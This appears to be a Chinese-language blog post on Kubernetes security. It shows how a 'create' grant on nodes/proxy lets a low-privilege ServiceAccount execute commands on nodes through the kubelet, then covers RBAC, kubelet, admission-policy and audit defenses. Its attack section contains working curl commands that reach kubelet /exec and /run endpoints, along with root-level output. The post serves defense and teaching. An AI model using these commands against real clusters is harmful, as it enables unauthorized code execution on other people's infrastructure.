先说结论:如果你负责的 K8s 集群里出现过nodes/proxy的create或update权限,那你距离集群被拿 shell 可能只差一条命令。
nodes/proxy是很多运维同学容易忽略的高危子资源权限,它本意是让 API Server 以代理方式访问节点上的 kubelet 端口,用于日志、监控等场景。但一旦被滥用,攻击者可以通过这一权限直接对节点上的容器执行命令、创建新容器,形成一条从“低权限账号”到“节点 RCE”的完整链路。这篇文章我会结合一次模拟攻击的排查过程,把权限利用原理、攻击路径、防护策略和自查方法完整拆开讲,内容偏工具和实操,适合所有正在维护生产集群、又担心 RBAC 越权问题的工程师。
1. 风险全景:nodes/proxy 到底是什么,为什么会成为 RCE 入口
1.1 一次不该发生的“低成本”渗透
我在一次内部安全演练中,专门搭了一套模拟集群,给一个测试用的 ServiceAccount 授予了一个“看起来没什么危害”的 ClusterRole,规则大致是:
rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["create"]当时团队里几个同学都觉得这个权限只是“允许往节点代理发个请求”,最多能读到一些指标数据,应该不会致命。但实际演练只花了几分钟,这个低权限账号就拿到了某台节点上容器的远程 shell,还在节点上创建了一个全新容器,顺便验证了写文件的能力。
整个过程走的是完全合法的 API 路径,没有用任何未公开的漏洞,也不需要绕过鉴权。问题就出在nodes/proxy这个子资源权限在 RBAC 体系里的特殊地位,以及我们对 kubelet API 能力范围的低估。
1.2 nodes/proxy 在 RBAC 里的真实含义
Kubernetes 的 RBAC 资源模型里,节点对象有很多子资源,常见的有:
nodes/proxy:对 kubelet 的 HTTP 端点做反向代理nodes/log:读取节点上的日志文件nodes/stats:读取容器运行时和节点资源统计nodes/metrics:读取节点指标
其中nodes/proxy是最容易产生误解的一个。从名字上看,它像是“借道节点代理访问一些数据”,但从 API Server 的实现看,它实际上把请求原样转发到了 kubelet 监听的端口。也就是说,如果你对某个节点拥有nodes/proxy的create权限,相当于获得了以 API Server 身份调用该节点 kubelet 任意写接口的能力。
kubelet 不是单纯的“节点信息查询器”,它对外暴露的 API 里有:
/run/{namespace}/{pod}?action=create:在指定 Pod 内创建容器/exec/{namespace}/{pod}/{container}:在容器内执行命令/logs/:读取容器日志/attach:连接容器标准输入输出/portForward:端口转发
所以nodes/proxy的授权范围,远比“代理”两个字看起来大。
1.3 从权限到 RCE 的链条拆解
把整条攻击链拆开,其实是三步:
第一跳:拿到集群内的一个低权限账号身份。可能是被泄露的 ServiceAccount Token,也可能是一个开发环境里继承了大量权限的普通用户。在现实环境中,这类账号很多,因为它们看起来不会直接影响业务数据。
第二跳:通过该身份请求 API Server 的 nodes/proxy 端点。请求路径大致是:
POST /api/v1/nodes/{nodeName}/proxy/...API Server 收到请求后,会根据 RBAC 判断该用户是否对nodes/proxy有对应 verb 的权限。由于管理员在 ClusterRole 里写了create,请求被放行。
第三跳:请求被转发到 kubelet 后,执行容器创建或命令。kubelet 默认监听在10250端口,如果请求路径拼的是/run/...或/exec/...,就直接触发了命令执行能力。
理解这个链条后你会发现,真正的问题不是单一漏洞,而是“宽泛的代理权限 + kubelet API 的强能力”组合后的必然结果。只要nodes/proxy给了写操作,RCE 就是时间问题。
2. 攻击路径模拟:一个低权限账号如何拿到节点 Shell
2.1 模拟环境准备
为了验证风险,我搭建了一个相对常见的集群环境:
- Kubernetes 版本:v1.24
- 证书:集群启用 TLS,API Server 只允许 HTTPS
- kubelet:开启了 Webhook 模式认证和授权,但 API Server 到 kubelet 的请求仍然正常
- 一个测试节点:
node-test-01 - 一个低权限 ServiceAccount:
sa-attacker
先把这个账号创建出来,并绑定到模拟场景中的恶意 ClusterRole:
apiVersion: v1 kind: ServiceAccount metadata: name: sa-attacker namespace: default --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: cr-nodes-proxy-create rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: crb-nodes-proxy-create roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cr-nodes-proxy-create subjects: - kind: ServiceAccount name: sa-attacker namespace: default这个账号的权限非常有限,没有get pods,没有exec,没有create pods,甚至没有nodes/log,只有这一个nodes/proxy的create。
2.2 从代理请求到容器内命令执行
获取该账号的 Token 后,直接在集群外发起请求:
TOKEN=$(kubectl -n default create token sa-attacker --duration=1h) curl -k -H "Authorization: Bearer $TOKEN" \ "https://<API_SERVER_ADDR>:6443/api/v1/nodes/node-test-01/proxy/exec/default/nginx-demo/nginx?command=id&command=hostname&stdin=false&stdout=true"这里请求的是 kubelet 的/exec端点,路径经过 API Server 的nodes/proxy转发。返回结果里能看到:
uid=0(root) gid=0(root) groups=0(root) node-test-01也就是说,我已经在没有 Pod 相关任何权限的情况下,在目标节点的某个容器里执行了命令。
如果想更进一步,可以使用/run接口创建一个全新容器。老版本 kubelet 的路径是:
curl -k -XPOST -H "Authorization: Bearer $TOKEN" \ "https://<API_SERVER_ADDR>:6443/api/v1/nodes/node-test-01/proxy/run/default/nginx-demo?action=create&name=attacker"虽然不同版本的参数略有差异,但核心思路一致:所有发往/api/v1/nodes/{nodeName}/proxy/*的请求,都会原样到达 kubelet 的对应 handler。攻击者只要不断探测/exec、/run、/portForward这些端点,就能在节点上实现命令执行。
2.3 为什么 kubelet 的默认能力会放大危害
这个攻击能成功,除了 RBAC 配错,另一个原因是 kubelet 自身默认暴露了大量能力。
kubelet 的 10250 端口不是“只读监控端口”,它同时提供长连接、容器操作、日志等接口。如果 kubelet 以--anonymous-auth=true或--authorization-mode=AlwaysAllow启动,那甚至不需要什么权限,直接访问 10250 端口就能执行命令。即便很多集群把 kubelet 配置成了 Webhook 模式,API Server 通过nodes/proxy转发过来的请求仍然会被 kubelet 当作“来自 API Server 的合法请求”处理,因为这套转发链路上的身份已经通过了 API Server 的 RBAC 鉴权,kubelet 侧一般会放行。
也就是说,你在 RBAC 上放过的每一个写权限,都可能直接等价于 kubelet 的写接口放行。这也是为什么节点子资源的授权必须慎之又慎。
3. 防护落地:从准入控制、RBAC 到运行时兜底
3.1 最小化 RBAC:不再授予 nodes/proxy 写权限
最容易落地、效果最明显的方案,是重新梳理所有 ClusterRole 和 Role,把nodes/proxy的create、update、patch、delete权限全部收回。
如果你只是希望让某个组件能读取节点状态,完全不需要nodes/proxy。常见监控组件用的是nodes/stats、nodes/metrics,日志采集组件用的是nodes/log,它们和nodes/proxy是不同的子资源。
对确实需要代理能力的系统组件,建议遵循如下原则:
- 只给
get、list、watch,不要给写操作 - 限制
resourceNames为具体节点名,而不是留空 - 在单独命名空间使用单独 ServiceAccount,避免权限池化
一个相对收敛的 ClusterRole 示例:
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: nodes-proxy-readonly rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["get", "list", "watch"] resourceNames: ["node-test-01"]更安全的做法是直接不给任何 subject 绑定nodes/proxy写权限,全部改为:
rules: - apiGroups: [""] resources: ["nodes/log", "nodes/stats", "nodes/metrics"] verbs: ["get", "list", "watch"]这样既能满足绝大多数可观测性需求,又能砍掉最危险的攻击面。
3.2 kubelet 加固:把兜底身份也关掉
很多集群只关心 API Server 的 RBAC,却忽略了 kubelet 自身的认证授权配置。强烈建议检查每个节点上的 kubelet 配置,至少做到以下几点。
第一,关闭匿名访问。在 kubelet 配置文件的authentication段:
authentication: anonymous: enabled: false webhook: enabled: true x509: clientCAFile: /etc/kubernetes/pki/ca.crt authorization: mode: Webhook第二,确认 kubelet 与 API Server 之间使用证书或 Token 认证,并且 API Server 侧配置了 kubelet 客户端证书:
--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key这样即使有人通过nodes/proxy发起请求,kubelet 侧仍会校验来源身份,不会盲目放行。
第三,如果环境允许,可以通过 NetworkPolicy 限制 10250 端口只对 API Server 和运维跳板机开放。虽然这类端口限制不能拦截经 API Server 转发的流量,但能挡住直接扫端口攻击,属于纵深防御的一部分。
3.3 用准入控制策略阻止高危节点子资源权限被创建
RBAC 配错往往是人为操作导致,靠“每次申请时人工审核”很难完全避免。更可靠的方式是在集群里部署策略引擎,从规则层面拒绝任何包含nodes/proxy写操作的角色创建请求。
这里以 Kyverno 为例,写一个简单但有效的 ClusterPolicy:
apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: block-nodes-proxy-write spec: validationFailureAction: Enforce rules: - name: block-create-update-nodes-proxy match: resources: kinds: - rbac.authorization.k8s.io/v1/ClusterRole - rbac.authorization.k8s.io/v1/Role validate: message: "Do not grant create/update/patch/delete on nodes/proxy" deny: conditions: any: - key: "{{ request.object.rules[]?.resources[] || '' }}" operator: Equals value: "nodes/proxy"如果你更习惯 OPA Gatekeeper,也可以写一个禁止 verbs 为create/update/patch/delete且 resources 包含nodes/proxy的 ConstraintTemplate。策略不是摆设,它能保证以后再有人想加权限,提交就会直接失败。
3.4 审计与监控:让滥用行为无处遁形
防护做得再好,也要能看到谁在什么时候做了什么。Kubernetes API Server 的审计日志是这里最关键的数据源。
创建一个审计策略文件,将nodes/proxy的写操作单独捕获:
apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: RequestResponse verbs: ["create", "update", "patch", "delete"] resources: - group: "" resources: ["nodes/proxy"] - level: Metadata verbs: ["get", "list", "watch"] resources: - group: "" resources: ["nodes/proxy"]然后在 API Server 启动参数里挂载这个文件:
--audit-policy-file=/etc/kubernetes/audit-policy.yaml --audit-log-path=/var/log/kubernetes/audit/audit.log --audit-log-maxage=30 --audit-log-maxbackup=10 --audit-log-maxsize=200日志收集后,最好接一层实时告警。只要出现verb=create且objectRef.subresource=proxy的请求,立刻触发高优级工单。这类请求在一个配置正常的集群里几乎不应该出现,出现就说明权限面已经异常。
4. 自查与排查:怎么确认你的集群是否暴露过风险
4.1 快速扫描:把集群里所有“危险角色”翻出来
如果你不确定自己的集群有没有给过nodes/proxy写权限,最快的办法是直接扫描所有 Role 和 ClusterRole。
先找出所有在 rules 里出现nodes/proxy的角色:
kubectl get clusterroles -o json | jq -r ' .items[] | select(.rules[]? | .resources[]? == "nodes/proxy") | .metadata.name 'Role 同理:
kubectl get roles -A -o json | jq -r ' .items[] | select(.rules[]? | .resources[]? == "nodes/proxy") | "\(.metadata.namespace)/\(.metadata.name)" '拿到名单后,再看这些角色绑定了谁:
kubectl get clusterrolebindings -o json | jq -r ' .items[] | select(.roleRef.name == "<role-name>") | .subjects[]? | "\(.kind)/\(.name)" '如果你需要更快地判断某个 ServiceAccount 是否危险,直接模拟权限检查:
kubectl auth can-i create nodes/proxy \ --as=system:serviceaccount:default:sa-attacker输出yes就代表该账号具备创建代理请求的能力,需要立刻处理。
4.2 从审计日志里找攻击痕迹
如果集群已经开了审计日志,可以通过关键字检索历史请求。
在审计日志的 JSON 记录里,重点看这几个字段:
objectRef.resource等于nodesobjectRef.subresource等于proxyverb等于create、update、patchuser.username是哪个账号requestURI是否包含/proxy/exec、/proxy/run
用 jq 过滤出所有可疑记录:
jq 'select(.objectRef.subresource == "proxy" and .verb == "create")' \ /var/log/kubernetes/audit/audit.log如果看到requestURI里有/exec或run的特征,基本可以确认该账号已经尝试过执行命令。
需要注意,有些攻击者会使用get或list读取 kubelet 暴露的指标、配置等敏感信息,这类请求在日志里更容易被淹没。建议把nodes/proxy的所有访问都单独建一个索引,至少保留一年。
4.3 常见误判与坑
我见过不少团队把nodes/log和nodes/proxy混为一谈。实际上,nodes/log只能读日志文件,危险面相对小;nodes/proxy是把整个 kubelet HTTP 端口暴露给用户,能力大得多。排查看日志时,不要看到nodes/log就当成高危告警,也不要因为nodes/proxy只出现一个get就放松警惕——虽然get通常不能直接执行命令,但一些旧版本 kubelet 的调试接口可能允许通过get请求携带执行参数,务必仔细核对版本行为。
另一个常见坑是,只检查 ClusterRole,忘了 Role。nodes/proxy也可以出现在某个命名空间内的 Role 里,而且通过 RoleBinding 绑定到目标命名空间的 ServiceAccount。这种局部权限更容易被忽略,但一旦攻击者拿到该命名空间任意 Pod 的控制权,就能利用这个本地身份横向移动。所以扫描范围一定要包含roles和rolebindings,不要只看全局。
5. 落地经验与最后一点提醒
5.1 一份可以直接抄的加固清单
我整理了一份比较完整的检查清单,照着做一遍,能覆盖掉大部分nodes/proxy滥用风险:
- 确认集群内所有
ClusterRole和Role中,没有对nodes/proxy授予create、update、patch、delete权限 - 如果某组件确实需要代理能力,将
resourceNames限定到指定节点,且只给只读 verb - 检查 kubelet 匿名访问已关闭,
authentication.webhook.enabled和authorization.mode=Webhook已配置 - 确认 API Server 使用证书访问 kubelet,而不是空凭据
- 部署 Kyverno 或 Gatekeeper,阻断高危 RBAC 创建
- 开启审计日志,增加对
nodes/proxy写操作的实时告警 - 每季度执行一次全量 RBAC 扫描,生成权限报告并对比基线
按这个清单执行后,即使未来有人误配权限,攻击者也很难从代理链路拿到节点 shell。
5.2 我踩过的一些坑
有一次我为了收紧权限,直接把某个监控组件的nodes/proxy全部移除,结果该组件立刻报错,节点指标全部消失。后来查下来发现,这个组件竟然还在依赖nodes/proxy读 kubelet 的/metrics端点。
正确的做法不是一刀切删除,而是先确认组件实际使用的子资源,再替换成nodes/metrics或nodes/stats。类似的,我还碰到过修改 kubelet 配置后忘记滚动更新节点,导致部分节点仍保留匿名访问的情况。这里强烈建议把 kubelet 配置文件纳入 GitOps 管理,通过 DaemonSet 或节点初始化工具统一分发,避免人工登录节点修改造成的配置漂移。
最后再分享一个个人觉得很好用的习惯:在集群里准备一个“特权探针”服务,它单独拥有一个高权限账号,定时尝试用nodes/proxy的写权限发起请求,如果请求成功,说明加固失效了,立刻告警。用攻击者的姿势做日常巡检,比任何文档都管用。
这篇内容里涉及的攻击路径和防护方案都是我在模拟环境里验证过的,真实集群里的版本差异会影响具体指令参数,但核心逻辑不会有太大变化。安全加固从来不是一次性的工作,希望这份落地经验能帮你少走点弯路。